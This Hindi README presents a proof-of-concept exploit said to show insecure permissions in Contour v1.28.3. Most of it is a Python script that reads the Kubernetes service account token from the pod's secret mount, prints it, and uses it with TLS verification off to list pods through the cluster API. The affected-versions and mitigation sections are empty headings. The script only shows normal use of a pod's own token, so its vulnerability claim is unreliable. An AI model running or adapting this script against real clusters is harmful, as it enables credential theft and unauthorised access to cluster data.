
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Contour v1.28.3 में असुरक्षित अनुमतियों को प्रदर्शित करता है, जो सेवा खाता टोकन चोरी और विशेषाधिकार वृद्धि के लिए Kubernetes API पहुंच को सक्षम करता है।
यहाँ एक README.md है जो एक प्रूफ ऑफ कॉन्सेप्ट (PoC) के लिए है, जो Contour v1.28.3 में असुरक्षित अनुमतियों की कमजोरी को प्रदर्शित करता है:
इस रिपॉजिटरी में एक प्रूफ ऑफ कॉन्सेप्ट (PoC) स्क्रिप्ट है जो Contour v1.28.3 में असुरक्षित अनुमतियों की कमजोरी को प्रदर्शित करती है। यह कमजोरी हमलावरों को सेवा खाते का टोकन प्राप्त करके संवेदनशील डेटा तक पहुँचने और विशेषाधिकारों को बढ़ाने की अनुमति देती है।
CVE-ID: (लंबित)
अवलोकन: Contour v1.28.3 में असुरक्षित अनुमतियाँ हैं जो हमलावरों को सेवा खाते का टोकन एक्सेस करने की अनुमति देती हैं। इस कमजोरी का शोषण करके, एक हमलावर सेवा खाते का टोकन प्राप्त कर सकता है, जिसका उपयोग संवेदनशील डेटा तक पहुँचने और संभावित रूप से Kubernetes क्लस्टर के भीतर विशेषाधिकारों को बढ़ाने के लिए किया जा सकता है।
प्रभावित संस्करण:
शमन उपाय:
यह PoC स्क्रिप्ट प्रदर्शित करती है कि Contour v1.28.3 में सेवा खाते के टोकन तक कैसे पहुँचा जाए। सुनिश्चित करें कि आपके पास यह परीक्षण करने की स्पष्ट अनुमति है।
import os
import requests
# Configuration
kubernetes_api_url = "https://kubernetes.default.svc" # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token" # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace" # Path to the namespace
def get_service_account_token():
try:
# Read the service account token
with open(token_path, 'r') as token_file:
token = token_file.read().strip()
print(f"[+] Service Account Token: {token}")
return token
except Exception as e:
print(f"[-] Error reading token: {e}")
return None
def get_namespace():
try:
# Read the namespace
with open(namespace_path, 'r') as namespace_file:
namespace = namespace_file.read().strip()
print(f"[+] Namespace: {namespace}")
return namespace
except Exception as e:
print(f"[-] Error reading namespace: {e}")
return None
def access_kubernetes_api(token, namespace):
try:
# Set the headers with the token
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Make a request to the Kubernetes API to get pods in the namespace
response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.json())
if response.status_code == 200:
print("[+] Successfully accessed Kubernetes API.")
else:
print("[-] Failed to access Kubernetes API.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Get the service account token and namespace
token = get_service_account_token()
namespace = get_namespace()
if token and namespace:
# Access the Kubernetes API using the token
access_kubernetes_api(token, namespace)
इस कमजोरी को दूर करने के लिए:
अपने Contour डिप्लॉयमेंट को सुरक्षित करने के बारे में अधिक जानकारी के लिए, आधिकारिक Contour दस्तावेज़ीकरण देखें।
यह README.md कमजोरी का एक अवलोकन, समस्या को प्रदर्शित करने के लिए एक PoC स्क्रिप्ट, और जोखिम को कम करने के निर्देश प्रदान करता है। सुनिश्चित करें कि आप इस PoC को जिम्मेदारी से और केवल उन प्रणालियों पर संभालें जहाँ आपके पास स्पष्ट प्राधिकरण है।